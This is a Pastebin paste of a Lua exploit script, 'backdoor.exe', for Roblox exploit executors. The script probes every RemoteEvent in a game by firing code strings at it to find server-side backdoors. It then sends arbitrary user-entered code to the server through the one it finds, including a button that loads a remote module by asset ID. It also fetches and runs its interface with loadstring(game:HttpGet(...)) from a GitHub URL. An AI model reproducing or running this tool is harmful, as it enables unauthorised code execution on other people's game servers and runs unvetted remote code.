Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- backdoor.exe, the best backdoor scanner in Roblox.
- Copyright (C) 2021 iK4oS
- The maker: iK4oS
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <https://www.gnu.org/licenses/>.
- ]]
- --I JUST MODIFIED IT SO ITS WORKING BETTER :Troll: - SRK1D
- local localPlayer = game:GetService("Players").LocalPlayer
- local randID = tostring(localPlayer.UserId * 2)..tostring(math.random(100000000,1000000000))
- local UI_PARENT = game:GetService("CoreGui").RobloxGui
- local INV_CODE = "xJHCqm84cW"
- local function notify(text,cb,b1,b2)
- game:GetService("StarterGui"):SetCore(
- "SendNotification",{
- Title = "backdoor.exe",
- Duration = 3,
- Text = text,
- Callback = cb,
- Button1 = b1,
- Button2 = b2
- }
- )
- end
- -- Removing dubs
- for _, ui in pairs(UI_PARENT:GetChildren()) do
- if ui:IsA("ScreenGui") and string.match(ui.Name, tostring(localPlayer.UserId * 2)) then
- ui:Destroy()
- end
- end
- local UI = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/v6/ui.lua"))()
- if syn then syn.protect_gui(UI) end
- UI.Name = randID
- UI.Parent = UI_PARENT
- local function findObject(name)
- for i, object in pairs(UI:GetDescendants()) do
- if object.Name == name then return object end
- end
- end
- UI.Main.Active = true
- UI.Main.Draggable = true
- -- Top Bar
- local closeButton = findObject("Close_Button")
- local statusText = findObject("Status")
- local statusColor = findObject("Status_Color")
- local r6Button = findObject("R6Button")
- -- Source Frame
- local sourceFrame = findObject("sourceFrame")
- local source = findObject("source")
- local lines = findObject("lines")
- -- Source Buttons
- local sourceButtons = findObject("Main_Buttons")
- --- Left
- local executeButton = findObject("Execute_Button")
- local clearButton = findObject("Clear_Button")
- local hideButton = findObject("Hide_Button")
- --- Right
- local scanButton = findObject("Scan_Button")
- local inviteButton = findObject("Invite_Button")
- local BackdoorUI = {
- attached = false,
- backdoorRemote = nil,
- scanning = false
- }
- local function changeUiState()
- local attachColors = {
- ["true"] = Color3.fromRGB(95, 185, 47),
- ["false"] = Color3.fromRGB(185, 48, 48)
- }
- local attachTexts = {
- ["true"] = "Attached",
- ["false"] = "Unattached"
- }
- BackdoorUI.attached = not BackdoorUI.attached
- statusColor.BackgroundColor3 = attachColors[tostring(BackdoorUI.attached)]
- statusText.Text = attachTexts[tostring(BackdoorUI.attached)]
- if BackdoorUI.attached then
- notify("Backdoor Found")
- end
- end
- --Waste of time - SRK1D
- local function stringToInstance(str)
- -- Credits to the DevForum
- local dir = str
- local segments = dir:split(".")
- local current = game
- for i, v in pairs(segments) do
- current = current[v]
- end
- return current
- end
- --Why tf would you do that? (PS. Using anti-censoring is a way to get banned - The users)
- local function scan()
- --for it to decently work
- local function gen()
- local R = math.random(10, 20)
- local F = ""
- for i = 1, R do
- F = F..string.char(math.random(67, 97))
- end
- return F
- end
- local function adonis_check(rem)
- if (rem.Parent == game:GetService("ReplicatedStorage") and #rem:GetChildren() ==1 and rem:GetChildren()[1].Name == "__FUNCTION") then
- return false
- else
- return true
- end
- end
- if BackdoorUI.scanning then return end
- if BackdoorUI.attached then changeUiState() end
- local remotes_table = {}
- for i, v in next, game:GetDescendants() do
- if (v:IsA("RemoteEvent") and adonis_check(v)) then
- remotes_table[gen()] = v
- end
- end
- --The lag is going to be extreme if there is more than 100k remotes :troll:
- local index = 0
- for i, v in next, remotes_table do
- --Will make so the ping doesnt significantly be higher
- index = index + 1
- if index % 73 == 0 then wait(0.011) end
- spawn(function()
- v:FireServer([[local F = Instance.new("StringValue"); F.Parent = game:GetService("Workspace"); F.Name = "]]..i..[["]])
- end)
- game:GetService("RunService").RenderStepped:Wait()
- end
- --Should be enough I guess :troll:
- backdoor = nil
- wait(0.5)
- for i, v in next, remotes_table do
- if game:GetService("Workspace"):FindFirstChild(i) then
- game:GetService("Workspace"):FindFirstChild(i):Destroy()
- changeUiState()
- notify("Found a backdoor")
- BackdoorUI.backdoorRemote = v
- backdoor = v
- return
- end
- end
- statusText.Text = "Rechecking"
- for i, v in next, remotes_table do
- if game:GetService("Workspace"):FindFirstChild(i) then
- game:GetService("Workspace"):FindFirstChild(i):Destroy()
- changeUiState()
- notify("Found a backdoor")
- BackdoorUI.backdoorRemote = v
- backdoor = v
- return
- end
- end
- BackdoorUI.scanning = false
- notify("Failed to find a backdoor")
- return
- end
- local function executeScript(scrpt)
- if not scrpt then scrpt = source.Text end
- if not BackdoorUI.attached then
- local function callback(text)
- if text == "Yes" then
- scan()
- BackdoorUI.backdoorRemote:FireServer(scrpt)
- elseif text == "No" then
- return
- end
- end
- local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
- notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
- else
- BackdoorUI.backdoorRemote:FireServer(scrpt)
- end
- end
- local function promtDicordInvite(invCode)
- setclipboard(invCode)
- local httpService = game:GetService("HttpService")
- local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
- if not httpRequest then notify("Invite code copied!") return end
- local request = httpRequest({
- Url = "http://127.0.0.1:6463/rpc?v=1",
- Method = "POST",
- Headers = {
- ['Content-Type'] = 'application/json',
- Origin = 'https://discord.com'
- },
- Body = httpService:JSONEncode({
- args = {code = invCode},
- cmd = 'INVITE_BROWSER',
- nonce = httpService:GenerateGUID(false)
- })
- })
- if request.StatusCode ~= 200 then notify("Invite code copied!") return end
- notify("You have been promted to join our Discord. Open your Discord.")
- end
- -- Buttons
- closeButton.MouseButton1Click:Connect(function() UI:Destroy() end)
- scanButton.MouseButton1Click:Connect(scan)
- executeButton.MouseButton1Click:Connect(executeScript)
- r6Button.MouseButton1Click:Connect(function() executeScript("require(3041175937):r6('"..localPlayer.Name.."')") end)
- clearButton.MouseButton1Click:Connect(function() source.Text = "" end)
- hideButton.MouseButton1Click:Connect(function() sourceFrame.Visible = not sourceFrame.Visible end)
- inviteButton.MouseButton1Click:Connect(function() promtDicordInvite(INV_CODE) end)
- notify("Make sure to join our Discord!\nCode: "..INV_CODE)
- -- k4scripts
- -- .------.
- -- |4.--. |
- -- | :/\: |
- -- | :\/: |
- -- | '--'4|
- -- `------'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement